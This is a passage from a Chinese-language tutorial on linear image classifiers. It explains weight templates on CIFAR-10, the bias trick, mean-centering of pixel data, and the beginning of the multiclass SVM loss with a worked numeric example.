นๆฎๆฏไธชๆƒ้‡็š„็ฌฆๅท่€Œๅฎš๏ผ‰ใ€‚ไธพไธชไพ‹ๅญ๏ผŒๅฏไปฅๆƒณ่ฑกโ€œ่ˆนโ€ๅˆ†็ฑปๅฐฑๆ˜ฏ่ขซๅคง้‡็š„่“่‰ฒๆ‰€ๅŒ…ๅ›ด๏ผˆๅฏนๅบ”็š„ๅฐฑๆ˜ฏๆฐด๏ผ‰ใ€‚้‚ฃไนˆโ€œ่ˆนโ€ๅˆ†็ฑปๅ™จๅœจ่“่‰ฒ้€š้“ไธŠ็š„ๆƒ้‡ๅฐฑๆœ‰ๅพˆๅคš็š„ๆญฃๆƒ้‡๏ผˆๅฎƒไปฌ็š„ๅ‡บ็Žฐๆ้ซ˜ไบ†โ€œ่ˆนโ€ๅˆ†็ฑป็š„ๅˆ†ๅ€ผ๏ผ‰๏ผŒ่€Œๅœจ็ปฟ่‰ฒๅ’Œ็บข่‰ฒ้€š้“ไธŠ็š„ๆƒ้‡ไธบ่ดŸ็š„ๅฐฑๆฏ”่พƒๅคš๏ผˆๅฎƒไปฌ็š„ๅ‡บ็Žฐ้™ไฝŽไบ†โ€œ่ˆนโ€ๅˆ†็ฑป็š„ๅˆ†ๅ€ผ๏ผ‰ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e07d35d0ce.png)\n\nไธ€ไธชๅฐ†ๅ›พๅƒๆ˜ ๅฐ„ๅˆฐๅˆ†็ฑปๅˆ†ๅ€ผ็š„ไพ‹ๅญใ€‚ไธบไบ†ไพฟไบŽๅฏ่ง†ๅŒ–๏ผŒๅ‡่ฎพๅ›พๅƒๅชๆœ‰4ไธชๅƒ็ด ๏ผˆ้ƒฝๆ˜ฏ้ป‘็™ฝๅƒ็ด ๏ผŒ่ฟ™้‡Œไธ่€ƒ่™‘RGB้€š้“๏ผ‰๏ผŒๆœ‰3ไธชๅˆ†็ฑป๏ผˆ็บข่‰ฒไปฃ่กจ็Œซ๏ผŒ็ปฟ่‰ฒไปฃ่กจ็‹—๏ผŒ่“่‰ฒไปฃ่กจ่ˆน๏ผŒๆณจๆ„๏ผŒ่ฟ™้‡Œ็š„็บขใ€็ปฟๅ’Œ่“3็ง้ขœ่‰ฒไป…ไปฃ่กจๅˆ†็ฑป๏ผŒๅ’ŒRGB้€š้“ๆฒกๆœ‰ๅ…ณ็ณป๏ผ‰ใ€‚้ฆ–ๅ…ˆๅฐ†ๅ›พๅƒๅƒ็ด ๆ‹‰ไผธไธบไธ€ไธชๅˆ—ๅ‘้‡๏ผŒไธŽW่ฟ›่กŒ็Ÿฉ้˜ตไน˜๏ผŒ็„ถๅŽๅพ—ๅˆฐๅ„ไธชๅˆ†็ฑป็š„ๅˆ†ๅ€ผใ€‚้œ€่ฆๆณจๆ„็š„ๆ˜ฏ๏ผŒ่ฟ™ไธชWไธ€็‚นไนŸไธๅฅฝ๏ผš็Œซๅˆ†็ฑป็š„ๅˆ†ๅ€ผ้žๅธธไฝŽใ€‚ไปŽไธŠๅ›พๆฅ็œ‹๏ผŒ็ฎ—ๆณ•ๅ€’ๆ˜ฏ่ง‰ๅพ—่ฟ™ไธชๅ›พๅƒๆ˜ฏไธ€ๅช็‹—ใ€‚\n\n---\n\n**ๅฐ†ๅ›พๅƒ็œ‹ๅš้ซ˜็ปดๅบฆ็š„็‚น**๏ผšๆ—ข็„ถๅ›พๅƒ่ขซไผธๅฑ•ๆˆไธบไบ†ไธ€ไธช้ซ˜็ปดๅบฆ็š„ๅˆ—ๅ‘้‡๏ผŒ้‚ฃไนˆๆˆ‘ไปฌๅฏไปฅๆŠŠๅ›พๅƒ็œ‹ๅš่ฟ™ไธช้ซ˜็ปดๅบฆ็ฉบ้—ดไธญ็š„ไธ€ไธช็‚น๏ผˆๅณๆฏๅผ ๅ›พๅƒๆ˜ฏ3072็ปด็ฉบ้—ดไธญ็š„ไธ€ไธช็‚น๏ผ‰ใ€‚ๆ•ดไธชๆ•ฐๆฎ้›†ๅฐฑๆ˜ฏไธ€ไธช็‚น็š„้›†ๅˆ๏ผŒๆฏไธช็‚น้ƒฝๅธฆๆœ‰1ไธชๅˆ†็ฑปๆ ‡็ญพใ€‚\n\nๆ—ข็„ถๅฎšไน‰ๆฏไธชๅˆ†็ฑป็ฑปๅˆซ็š„ๅˆ†ๅ€ผๆ˜ฏๆƒ้‡ๅ’Œๅ›พๅƒ็š„็Ÿฉ้˜ตไน˜๏ผŒ้‚ฃไนˆๆฏไธชๅˆ†็ฑป็ฑปๅˆซ็š„ๅˆ†ๆ•ฐๅฐฑๆ˜ฏ่ฟ™ไธช็ฉบ้—ดไธญ็š„ไธ€ไธช็บฟๆ€งๅ‡ฝๆ•ฐ็š„ๅ‡ฝๆ•ฐๅ€ผใ€‚ๆˆ‘ไปฌๆฒกๅŠžๆณ•ๅฏ่ง†ๅŒ–3072็ปด็ฉบ้—ดไธญ็š„็บฟๆ€งๅ‡ฝๆ•ฐ๏ผŒไฝ†ๅ‡่ฎพๆŠŠ่ฟ™ไบ›็ปดๅบฆๆŒคๅŽ‹ๅˆฐไบŒ็ปด๏ผŒ้‚ฃไนˆๅฐฑๅฏไปฅ็œ‹็œ‹่ฟ™ไบ›ๅˆ†็ฑปๅ™จๅœจๅšไป€ไนˆไบ†๏ผš\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e07e8393db.png)\n\nๅ›พๅƒ็ฉบ้—ด็š„็คบๆ„ๅ›พใ€‚ๅ…ถไธญๆฏไธชๅ›พๅƒๆ˜ฏไธ€ไธช็‚น๏ผŒๆœ‰3ไธชๅˆ†็ฑปๅ™จใ€‚ไปฅ็บข่‰ฒ็š„ๆฑฝ่ฝฆๅˆ†็ฑปๅ™จไธบไพ‹๏ผŒ็บข็บฟ่กจ็คบ็ฉบ้—ดไธญๆฑฝ่ฝฆๅˆ†็ฑปๅˆ†ๆ•ฐไธบ0็š„็‚น็š„้›†ๅˆ๏ผŒ็บข่‰ฒ็š„็ฎญๅคด่กจ็คบๅˆ†ๅ€ผไธŠๅ‡็š„ๆ–นๅ‘ใ€‚ๆ‰€ๆœ‰็บข็บฟๅณ่พน็š„็‚น็š„ๅˆ†ๆ•ฐๅ€ผๅ‡ไธบๆญฃ๏ผŒไธ”็บฟๆ€งๅ‡้ซ˜ใ€‚็บข็บฟๅทฆ่พน็š„็‚นๅˆ†ๅ€ผไธบ่ดŸ๏ผŒไธ”็บฟๆ€ง้™ไฝŽใ€‚\n\n---\n\nไปŽไธŠ้ขๅฏไปฅ็œ‹ๅˆฐ๏ผŒ**W**็š„ๆฏไธ€่กŒ้ƒฝๆ˜ฏไธ€ไธชๅˆ†็ฑป็ฑปๅˆซ็š„ๅˆ†็ฑปๅ™จใ€‚ๅฏนไบŽ่ฟ™ไบ›ๆ•ฐๅญ—็š„<u>ๅ‡ ไฝ•่งฃ้‡Šๆ˜ฏ</u>๏ผšๅฆ‚ๆžœๆ”นๅ˜ๅ…ถไธญไธ€่กŒ็š„ๆ•ฐๅญ—๏ผŒไผš็œ‹่งๅˆ†็ฑปๅ™จๅœจ็ฉบ้—ดไธญๅฏนๅบ”็š„็›ด็บฟๅผ€ๅง‹ๅ‘็€ไธๅŒๆ–นๅ‘ๆ—‹่ฝฌใ€‚่€Œๅๅทฎ**b**๏ผŒๅˆ™ๅ…่ฎธๅˆ†็ฑปๅ™จๅฏนๅบ”็š„็›ด็บฟๅนณ็งปใ€‚้œ€่ฆๆณจๆ„็š„ๆ˜ฏ๏ผŒๅฆ‚ๆžœๆฒกๆœ‰ๅๅทฎ๏ผŒๆ— ่ฎบๆƒ้‡ๅฆ‚ไฝ•๏ผŒๅœจ$x_i=0$ๆ—ถๅˆ†็ฑปๅˆ†ๅ€ผๅง‹็ปˆไธบ0ใ€‚่ฟ™ๆ ทๆ‰€ๆœ‰ๅˆ†็ฑปๅ™จ็š„็บฟ้ƒฝไธๅพ—ไธ็ฉฟ่ฟ‡ๅŽŸ็‚นใ€‚\n\n**ๅฐ†็บฟๆ€งๅˆ†็ฑปๅ™จ็œ‹ๅšๆจกๆฟๅŒน้…**๏ผšๅ…ณไบŽๆƒ้‡**W**็š„ๅฆไธ€ไธช่งฃ้‡Šๆ˜ฏ**ๅฎƒ**็š„ๆฏไธ€่กŒๅฏนๅบ”็€ไธ€ไธชๅˆ†็ฑป็š„ๆจกๆฟ๏ผˆๆœ‰ๆ—ถๅ€™ไนŸๅซไฝœ*ๅŽŸๅž‹*๏ผ‰ใ€‚ไธ€ๅผ ๅ›พๅƒๅฏนๅบ”ไธๅŒๅˆ†็ฑป็š„ๅพ—ๅˆ†๏ผŒๆ˜ฏ้€š่ฟ‡ไฝฟ็”จๅ†…็งฏ๏ผˆไนŸๅซ*็‚น็งฏ*๏ผ‰ๆฅๆฏ”่พƒๅ›พๅƒๅ’Œๆจกๆฟ๏ผŒ็„ถๅŽๆ‰พๅˆฐๅ’Œๅ“ชไธชๆจกๆฟๆœ€็›ธไผผใ€‚ไปŽ่ฟ™ไธช่ง’ๅบฆๆฅ็œ‹๏ผŒ็บฟๆ€งๅˆ†็ฑปๅ™จๅฐฑๆ˜ฏๅœจๅˆฉ็”จๅญฆไน ๅˆฐ็š„ๆจกๆฟ๏ผŒ้’ˆๅฏนๅ›พๅƒๅšๆจกๆฟๅŒน้…ใ€‚ไปŽๅฆไธ€ไธช่ง’ๅบฆๆฅ็œ‹๏ผŒๅฏไปฅ่ฎคไธบ่ฟ˜ๆ˜ฏๅœจ้ซ˜ๆ•ˆๅœฐไฝฟ็”จk-NN๏ผŒไธๅŒ็š„ๆ˜ฏๆˆ‘ไปฌๆฒกๆœ‰ไฝฟ็”จๆ‰€ๆœ‰็š„่ฎญ็ปƒ้›†็š„ๅ›พๅƒๆฅๆฏ”่พƒ๏ผŒ่€Œๆ˜ฏๆฏไธช็ฑปๅˆซๅช็”จไบ†ไธ€ๅผ ๅ›พ็‰‡๏ผˆ่ฟ™ๅผ ๅ›พ็‰‡ๆ˜ฏๆˆ‘ไปฌๅญฆไน ๅˆฐ็š„๏ผŒ่€Œไธๆ˜ฏ่ฎญ็ปƒ้›†ไธญ็š„ๆŸไธ€ๅผ ๏ผ‰๏ผŒ่€Œไธ”ๆˆ‘ไปฌไผšไฝฟ็”จ๏ผˆ่ดŸ๏ผ‰ๅ†…็งฏๆฅ่ฎก็ฎ—ๅ‘้‡้—ด็š„่ท็ฆป๏ผŒ่€Œไธๆ˜ฏไฝฟ็”จL1ๆˆ–่€…L2่ท็ฆปใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e07fa152a8.png)\n\nๅฐ†่ฏพ็จ‹่ฟ›ๅบฆๅฟซ่ฟ›ไธ€็‚นใ€‚่ฟ™้‡Œๅฑ•็คบ็š„ๆ˜ฏไปฅCIFAR-10ไธบ่ฎญ็ปƒ้›†๏ผŒๅญฆไน ็ป“ๆŸๅŽ็š„ๆƒ้‡็š„ไพ‹ๅญใ€‚ๆณจๆ„๏ผŒ่ˆน็š„ๆจกๆฟๅฆ‚ๆœŸๆœ›็š„้‚ฃๆ ทๆœ‰ๅพˆๅคš่“่‰ฒๅƒ็ด ใ€‚ๅฆ‚ๆžœๅ›พๅƒๆ˜ฏไธ€่‰˜่ˆน่กŒ้ฉถๅœจๅคงๆตทไธŠ๏ผŒ้‚ฃไนˆ่ฟ™ไธชๆจกๆฟๅˆฉ็”จๅ†…็งฏ่ฎก็ฎ—ๅ›พๅƒๅฐ†็ป™ๅ‡บๅพˆ้ซ˜็š„ๅˆ†ๆ•ฐใ€‚\n\n---\n\nๅฏไปฅ็œ‹ๅˆฐ้ฉฌ็š„ๆจกๆฟ็œ‹่ตทๆฅไผผไนŽๆ˜ฏไธคไธชๅคด็š„้ฉฌ๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบ่ฎญ็ปƒ้›†ไธญ็š„้ฉฌ็š„ๅ›พๅƒไธญ้ฉฌๅคดๆœๅ‘ๅ„ๆœ‰ๅทฆๅณ้€ ๆˆ็š„ใ€‚็บฟๆ€งๅˆ†็ฑปๅ™จๅฐ†่ฟ™ไธค็งๆƒ…ๅ†ต่žๅˆๅˆฐไธ€่ตทไบ†ใ€‚็ฑปไผผ็š„๏ผŒๆฑฝ่ฝฆ็š„ๆจกๆฟ็œ‹่ตทๆฅไนŸๆ˜ฏๅฐ†ๅ‡ ไธชไธๅŒ็š„ๆจกๅž‹่žๅˆๅˆฐไบ†ไธ€ไธชๆจกๆฟไธญ๏ผŒๅนถไปฅๆญคๆฅๅˆ†่พจไธๅŒๆ–นๅ‘ไธๅŒ้ขœ่‰ฒ็š„ๆฑฝ่ฝฆใ€‚่ฟ™ไธชๆจกๆฟไธŠ็š„่ฝฆๆ˜ฏ็บข่‰ฒ็š„๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบCIFAR-10ไธญ่ฎญ็ปƒ้›†็š„่ฝฆๅคงๅคšๆ˜ฏ็บข่‰ฒ็š„ใ€‚็บฟๆ€งๅˆ†็ฑปๅ™จๅฏนไบŽไธๅŒ้ขœ่‰ฒ็š„่ฝฆ็š„ๅˆ†็ฑป่ƒฝๅŠ›ๆ˜ฏๅพˆๅผฑ็š„๏ผŒไฝ†ๆ˜ฏๅŽ้ขๅฏไปฅ็œ‹ๅˆฐ็ฅž็ป็ฝ‘็ปœๆ˜ฏๅฏไปฅๅฎŒๆˆ่ฟ™ไธ€ไปปๅŠก็š„ใ€‚็ฅž็ป็ฝ‘็ปœๅฏไปฅๅœจๅฎƒ็š„้š่—ๅฑ‚ไธญๅฎž็Žฐไธญ้—ด็ฅž็ปๅ…ƒๆฅๆŽขๆต‹ไธๅŒ็ง็ฑป็š„่ฝฆ๏ผˆๆฏ”ๅฆ‚็ปฟ่‰ฒ่ฝฆๅคดๅ‘ๅทฆ๏ผŒ่“่‰ฒ่ฝฆๅคดๅ‘ๅ‰็ญ‰๏ผ‰ใ€‚่€Œไธ‹ไธ€ๅฑ‚็š„็ฅž็ปๅ…ƒ้€š่ฟ‡่ฎก็ฎ—ไธๅŒ็š„ๆฑฝ่ฝฆๆŽขๆต‹ๅ™จ็š„ๆƒ้‡ๅ’Œ๏ผŒๅฐ†่ฟ™ไบ›ๅˆๅนถไธบไธ€ไธชๆ›ด็ฒพ็กฎ็š„ๆฑฝ่ฝฆๅˆ†็ฑปๅˆ†ๅ€ผใ€‚\n\n**ๅๅทฎๅ’Œๆƒ้‡็š„ๅˆๅนถๆŠ€ๅทง**๏ผšๅœจ่ฟ›ไธ€ๆญฅๅญฆไน ๅ‰๏ผŒ่ฆๆไธ€ไธ‹่ฟ™ไธช็ปๅธธไฝฟ็”จ็š„ๆŠ€ๅทงใ€‚ๅฎƒ่ƒฝๅคŸๅฐ†ๆˆ‘ไปฌๅธธ็”จ็š„ๅ‚ๆ•ฐ$W$ๅ’Œ$b$ๅˆไบŒไธบไธ€ใ€‚ๅ›žๅฟ†ไธ€ไธ‹๏ผŒๅˆ†็ฑป่ฏ„ๅˆ†ๅ‡ฝๆ•ฐๅฎšไน‰ไธบ๏ผš\n$$\nf(x_i,W,b)=Wx_i+b\n$$\nๅˆ†ๅผ€ๅค„็†่ฟ™ไธคไธชๅ‚ๆ•ฐ๏ผˆๆƒ้‡ๅ‚ๆ•ฐ$W$ๅ’Œๅๅทฎๅ‚ๆ•ฐ$b$๏ผ‰ๆœ‰็‚น็ฌจๆ‹™๏ผŒไธ€่ˆฌๅธธ็”จ็š„ๆ–นๆณ•ๆ˜ฏๆŠŠไธคไธชๅ‚ๆ•ฐๆ”พๅˆฐๅŒไธ€ไธช็Ÿฉ้˜ตไธญ๏ผŒๅŒๆ—ถ$x_i$ๅ‘้‡ๅฐฑ่ฆๅขžๅŠ ไธ€ไธช็ปดๅบฆ๏ผŒ่ฟ™ไธช็ปดๅบฆ็š„ๆ•ฐๅ€ผๆ˜ฏๅธธ้‡1๏ผŒ่ฟ™ๅฐฑๆ˜ฏ้ป˜่ฎค็š„*ๅๅทฎ็ปดๅบฆ*ใ€‚่ฟ™ๆ ทๆ–ฐ็š„ๅ…ฌๅผๅฐฑ็ฎ€ๅŒ–ๆˆไธ‹้ข่ฟ™ๆ ท๏ผš\n$$\nf(x_i,W)=Wx_i\n$$\n่ฟ˜ๆ˜ฏไปฅCIFAR-10ไธบไพ‹๏ผŒ้‚ฃไนˆ$x_i$็š„ๅคงๅฐๅฐฑๅ˜ๆˆ**[3073x1]**๏ผŒ่€Œไธๆ˜ฏ[3072x1]ไบ†๏ผŒๅคšๅ‡บไบ†ๅŒ…ๅซๅธธ้‡1็š„1ไธช็ปดๅบฆ๏ผ‰ใ€‚Wๅคงๅฐๅฐฑๆ˜ฏ**[10x3073]**ไบ†ใ€‚$W$ไธญๅคšๅ‡บๆฅ็š„่ฟ™ไธ€ๅˆ—ๅฏนๅบ”็š„ๅฐฑๆ˜ฏๅๅทฎๅ€ผ$b$๏ผŒๅ…ทไฝ“่งไธ‹ๅ›พ๏ผš\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e080b579a0.png)\n\nๅๅทฎๆŠ€ๅทง็š„็คบๆ„ๅ›พใ€‚ๅทฆ่พนๆ˜ฏๅ…ˆๅš็Ÿฉ้˜ตไน˜ๆณ•็„ถๅŽๅšๅŠ ๆณ•๏ผŒๅณ่พนๆ˜ฏๅฐ†ๆ‰€ๆœ‰่พ“ๅ…ฅๅ‘้‡็š„็ปดๅบฆๅขžๅŠ 1ไธชๅซๅธธ้‡1็š„็ปดๅบฆ๏ผŒๅนถไธ”ๅœจๆƒ้‡็Ÿฉ้˜ตไธญๅขžๅŠ ไธ€ไธชๅๅทฎๅˆ—๏ผŒๆœ€ๅŽๅšไธ€ไธช็Ÿฉ้˜ตไน˜ๆณ•ๅณๅฏใ€‚ๅทฆๅณๆ˜ฏ็ญ‰ไปท็š„ใ€‚้€š่ฟ‡ๅณ่พน่ฟ™ๆ ทๅš๏ผŒๆˆ‘ไปฌๅฐฑๅช้œ€่ฆๅญฆไน ไธ€ไธชๆƒ้‡็Ÿฉ้˜ต๏ผŒ่€Œไธ็”จๅŽปๅญฆไน ไธคไธชๅˆ†ๅˆซ่ฃ…็€ๆƒ้‡ๅ’Œๅๅทฎ็š„็Ÿฉ้˜ตไบ†ใ€‚\n\n---\n\n**ๅ›พๅƒๆ•ฐๆฎ้ข„ๅค„็†**๏ผšๅœจไธŠ้ข็š„ไพ‹ๅญไธญ๏ผŒๆ‰€ๆœ‰ๅ›พๅƒ้ƒฝๆ˜ฏไฝฟ็”จ็š„ๅŽŸๅง‹ๅƒ็ด ๅ€ผ๏ผˆไปŽ0ๅˆฐ255๏ผ‰ใ€‚ๅœจๆœบๅ™จๅญฆไน ไธญ๏ผŒๅฏนไบŽ่พ“ๅ…ฅ็š„็‰นๅพๅšๅฝ’ไธ€ๅŒ–๏ผˆnormalization๏ผ‰ๅค„็†ๆ˜ฏๅธธ่ง็š„ๅฅ—่ทฏใ€‚่€Œๅœจๅ›พๅƒๅˆ†็ฑป็š„ไพ‹ๅญไธญ๏ผŒๅ›พๅƒไธŠ็š„ๆฏไธชๅƒ็ด ๅฏไปฅ็œ‹ๅšไธ€ไธช็‰นๅพใ€‚ๅœจๅฎž่ทตไธญ๏ผŒๅฏนๆฏไธช็‰นๅพๅ‡ๅŽปๅนณๅ‡ๅ€ผๆฅ**ไธญๅฟƒๅŒ–**ๆ•ฐๆฎๆ˜ฏ้žๅธธ้‡่ฆ็š„ใ€‚ๅœจ่ฟ™ไบ›ๅ›พ็‰‡็š„ไพ‹ๅญไธญ๏ผŒ่ฏฅๆญฅ้ชคๆ„ๅ‘ณ็€ๆ นๆฎ่ฎญ็ปƒ้›†ไธญๆ‰€ๆœ‰็š„ๅ›พๅƒ่ฎก็ฎ—ๅ‡บไธ€ไธชๅนณๅ‡ๅ›พๅƒๅ€ผ๏ผŒ็„ถๅŽๆฏไธชๅ›พๅƒ้ƒฝๅ‡ๅŽป่ฟ™ไธชๅนณๅ‡ๅ€ผ๏ผŒ่ฟ™ๆ ทๅ›พๅƒ็š„ๅƒ็ด ๅ€ผๅฐฑๅคง็บฆๅˆ†ๅธƒๅœจ[-127, 127]ไน‹้—ดไบ†ใ€‚ไธ‹ไธ€ไธชๅธธ่งๆญฅ้ชคๆ˜ฏ๏ผŒ่ฎฉๆ‰€ๆœ‰ๆ•ฐๅ€ผๅˆ†ๅธƒ็š„ๅŒบ้—ดๅ˜ไธบ[-1, 1]ใ€‚**้›ถๅ‡ๅ€ผ็š„ไธญๅฟƒๅŒ–**ๆ˜ฏๅพˆ้‡่ฆ็š„๏ผŒ็ญ‰ๆˆ‘ไปฌ็†่งฃไบ†ๆขฏๅบฆไธ‹้™ๅŽๅ†ๆฅ่ฏฆ็ป†่งฃ้‡Šใ€‚\n\n\n\n## ๆŸๅคฑๅ‡ฝๆ•ฐ Loss function\n\nๅœจไธŠไธ€่Š‚ๅฎšไน‰ไบ†ไปŽๅ›พๅƒๅƒ็ด ๅ€ผๅˆฐๆ‰€ๅฑž็ฑปๅˆซ็š„่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ๏ผˆscore function๏ผ‰๏ผŒ่ฏฅๅ‡ฝๆ•ฐ็š„ๅ‚ๆ•ฐๆ˜ฏๆƒ้‡็Ÿฉ้˜ต$W$ใ€‚ๅœจๅ‡ฝๆ•ฐไธญ๏ผŒๆ•ฐๆฎ$(x_i,y_i)$ๆ˜ฏ็ป™ๅฎš็š„๏ผŒไธ่ƒฝไฟฎๆ”นใ€‚ไฝ†ๆ˜ฏๆˆ‘ไปฌๅฏไปฅ่ฐƒๆ•ดๆƒ้‡็Ÿฉ้˜ต่ฟ™ไธชๅ‚ๆ•ฐ๏ผŒไฝฟๅพ—่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ็š„็ป“ๆžœไธŽ่ฎญ็ปƒๆ•ฐๆฎ้›†ไธญๅ›พๅƒ็š„็œŸๅฎž็ฑปๅˆซไธ€่‡ด๏ผŒๅณ่ฏ„ๅˆ†ๅ‡ฝๆ•ฐๅœจๆญฃ็กฎ็š„ๅˆ†็ฑป็š„ไฝ็ฝฎๅบ”ๅฝ“ๅพ—ๅˆฐๆœ€้ซ˜็š„่ฏ„ๅˆ†๏ผˆscore๏ผ‰ใ€‚\n\nๅ›žๅˆฐไน‹ๅ‰้‚ฃๅผ ็Œซ็š„ๅ›พๅƒๅˆ†็ฑปไพ‹ๅญ๏ผŒๅฎƒๆœ‰้’ˆๅฏนโ€œ็Œซโ€๏ผŒโ€œ็‹—โ€๏ผŒโ€œ่ˆนโ€ไธ‰ไธช็ฑปๅˆซ็š„ๅˆ†ๆ•ฐใ€‚ๆˆ‘ไปฌ็œ‹ๅˆฐไพ‹ๅญไธญๆƒ้‡ๅ€ผ้žๅธธๅทฎ๏ผŒๅ› ไธบ็Œซๅˆ†็ฑป็š„ๅพ—ๅˆ†้žๅธธไฝŽ๏ผˆ-96.8๏ผ‰๏ผŒ่€Œ็‹—๏ผˆ437.9๏ผ‰ๅ’Œ่ˆน๏ผˆ61.95๏ผ‰ๆฏ”่พƒ้ซ˜ใ€‚ๆˆ‘ไปฌๅฐ†ไฝฟ็”จ**ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผˆLoss Function๏ผ‰**๏ผˆๆœ‰ๆ—ถไนŸๅซ**ไปฃไปทๅ‡ฝๆ•ฐCost Function**ๆˆ–**็›ฎๆ ‡ๅ‡ฝๆ•ฐObjective**๏ผ‰ๆฅ่กก้‡ๆˆ‘ไปฌๅฏน็ป“ๆžœ็š„ไธๆปกๆ„็จ‹ๅบฆใ€‚็›ด่ง‚ๅœฐ่ฎฒ๏ผŒๅฝ“่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ่พ“ๅ‡บ็ป“ๆžœไธŽ็œŸๅฎž็ป“ๆžœไน‹้—ดๅทฎๅผ‚่ถŠๅคง๏ผŒๆŸๅคฑๅ‡ฝๆ•ฐ่พ“ๅ‡บ่ถŠๅคง๏ผŒๅไน‹่ถŠๅฐใ€‚\n\n### ๅคš็ฑปๆ”ฏๆŒๅ‘้‡ๆœบๆŸๅคฑ Multiclass Support Vector Machine Loss\n\nๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ…ทไฝ“ๅฝขๅผๅคš็งๅคšๆ ทใ€‚้ฆ–ๅ…ˆ๏ผŒไป‹็ปๅธธ็”จ็š„<u>ๅคš็ฑปๆ”ฏๆŒๅ‘้‡ๆœบ๏ผˆSVM๏ผ‰ๆŸๅคฑๅ‡ฝๆ•ฐ</u>ใ€‚SVM็š„ๆŸๅคฑๅ‡ฝๆ•ฐๆƒณ่ฆSVMๅœจๆญฃ็กฎๅˆ†็ฑปไธŠ็š„ๅพ—ๅˆ†ๅง‹็ปˆๆฏ”ไธๆญฃ็กฎๅˆ†็ฑปไธŠ็š„ๅพ—ๅˆ†้ซ˜ๅ‡บไธ€ไธช่พน็•Œๅ€ผ$\\Delta$ใ€‚ๆˆ‘ไปฌๅฏไปฅๆŠŠๆŸๅคฑๅ‡ฝๆ•ฐๆƒณ่ฑกๆˆไธ€ไธชไบบ๏ผŒ่ฟ™ไฝSVMๅ…ˆ็”Ÿ๏ผˆๆˆ–่€…ๅฅณๅฃซ๏ผ‰ๅฏนไบŽ็ป“ๆžœๆœ‰่‡ชๅทฑ็š„ๅ“ไฝ๏ผŒๅฆ‚ๆžœๆŸไธช็ป“ๆžœ่ƒฝไฝฟๅพ—ๆŸๅคฑๅ€ผๆ›ดไฝŽ๏ผŒ้‚ฃไนˆSVMๅฐฑๆ›ดๅŠ ๅ–œๆฌขๅฎƒใ€‚\n\n่ฎฉๆˆ‘ไปฌๆ›ด็ฒพ็กฎไธ€ไบ›ใ€‚ๅ›žๅฟ†ไธ€ไธ‹๏ผŒ็ฌฌiไธชๆ•ฐๆฎไธญๅŒ…ๅซๅ›พๅƒ$x_i$็š„ๅƒ็ด ๅ’Œไปฃ่กจๆญฃ็กฎ็ฑปๅˆซ็š„ๆ ‡็ญพ$y_i$ใ€‚่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ่พ“ๅ…ฅๅƒ็ด ๆ•ฐๆฎ๏ผŒ็„ถๅŽ้€š่ฟ‡ๅ…ฌๅผ$f(x_i,W)$ๆฅ่ฎก็ฎ—ไธๅŒๅˆ†็ฑป็ฑปๅˆซ็š„ๅˆ†ๅ€ผใ€‚่ฟ™้‡Œๆˆ‘ไปฌๅฐ†ๅˆ†ๅ€ผ็ฎ€ๅ†™ไธบ$s$ใ€‚ๆฏ”ๅฆ‚๏ผŒ้’ˆๅฏน็ฌฌjไธช็ฑปๅˆซ็š„ๅพ—ๅˆ†ๅฐฑๆ˜ฏๅ…ถ็ฌฌjไธชๅ…ƒ็ด ๏ผš$s_j=f(x_i,W)_j$ใ€‚้’ˆๅฏน็ฌฌiไธชๆ•ฐๆฎ็š„ๅคš็ฑปSVM็š„ๆŸๅคฑๅ‡ฝๆ•ฐๅฎšไน‰ๅฆ‚ไธ‹๏ผš\n$$\nL_i=\\sum_{j\\neq y_i}\\max(0,s_j-s_{y_i}+\\Delta)\n$$\n**ไธพไพ‹**๏ผš็”จไธ€ไธชไพ‹ๅญๆผ”็คบๅ…ฌๅผๆ˜ฏๅฆ‚ไฝ•่ฎก็ฎ—็š„ใ€‚ๅ‡่ฎพๆœ‰3ไธชๅˆ†็ฑป๏ผŒๅนถไธ”ๅพ—ๅˆฐไบ†ๅˆ†ๅ€ผ$s=[13,-7,11]$ใ€‚ๅ…ถไธญ็ฌฌไธ€ไธช็ฑปๅˆซๆ˜ฏๆญฃ็กฎ็ฑปๅˆซ๏ผŒๅณ$y_i=0$ใ€‚ๅŒๆ—ถๅ‡่ฎพ$\\Delta$ๆ˜ฏ10๏ผˆๅŽ้ขไผš่ฏฆ็ป†ไป‹็ป่ฏฅ่ถ…ๅ‚ๆ•ฐ๏ผ‰ใ€‚ไธŠ้ข็š„ๅ…ฌๅผๆ˜ฏๅฐ†ๆ‰€ๆœ‰ไธๆญฃ็กฎๅˆ†็ฑป๏ผˆ$j\\neq y_i$๏ผ‰ๅŠ ่ตทๆฅ๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๅพ—ๅˆฐไธคไธช้ƒจๅˆ†๏ผš\n$$\nL_i=\\max(0,-7-13+10)+\\max(0,11-13+10)\n$$\nๅฏไปฅ็œ‹ๅˆฐ็ฌฌไธ€ไธช้ƒจๅˆ†็ป“ๆžœๆ˜ฏ0๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบ[-7-13+10]ๅพ—ๅˆฐ็š„ๆ˜ฏ่ดŸๆ•ฐ๏ผŒ็ป่ฟ‡$\\max(0,-)$ๅ‡ฝๆ•ฐๅค„็†ๅŽๅพ—ๅˆฐ0ใ€‚่ฟ™ไธ€ๅฏน็ฑปๅˆซๅˆ†ๆ•ฐๅ’Œๆ ‡็ญพ็š„ๆŸๅคฑๅ€ผๆ˜ฏ0๏ผŒ่ฟ™ๆ˜ฏๅ› 